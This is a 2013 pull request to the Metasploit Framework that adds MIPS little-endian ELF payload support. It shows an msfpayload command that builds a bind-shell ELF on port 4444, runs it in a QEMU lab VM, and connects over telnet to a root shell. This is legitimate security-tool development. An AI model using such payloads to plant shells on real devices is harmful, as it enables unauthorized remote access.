rapid7/metasploit-framework — pull request #1666 by jvazquez-r7 (2013-03-26 10:08:19+00:00)
Title: Mipsle elf support

This pull request try to add support to create MIPS LE (little endian) elf payloads. This pull request should help to convert the @m-1-k-3 last CMD aux modules into exploits. Plus should help to provide MIPSEL based exploits and make easier shellcode developing on MIPSEL.

I've tried to do it in the same way msf supports ELF payloads for other architectures. Feedback is welcome:

* Creating a MIPSEL elf with the shell bind payload embedded (binding port 4444)

```

./msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X > /tmp/shell_bind_mipsle.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/mipsle/shell_bind_tcp
Length: 295
Options: {"LPORT"=>"4444"}

```

* Running the ELF in a qemu MIPSEL based machine:

```
root@mipseldebian:~# uname -a
Linux mipseldebian 2.6.32-5-4kc-malta #1 Fri Feb 15 18:09:19 UTC 2013 mips GNU/Linux
root@mipseldebian:~# file shell_bind_mipsle.elf
shell_bind_mipsle.elf: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, corrupted section header size
root@mipseldebian:~# ./shell_bind_mipsle.elf

```

* Connecting to the binded shell:

```
juan@ubuntu:~/debian/mipsel/bins$ telnet localhost 4444
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root)
: not found
uname -a;
Linux mipseldebian 2.6.32-5-4kc-malta #1 Fri Feb 15 18:09:19 UTC 2013 mips GNU/Linux
: not found

```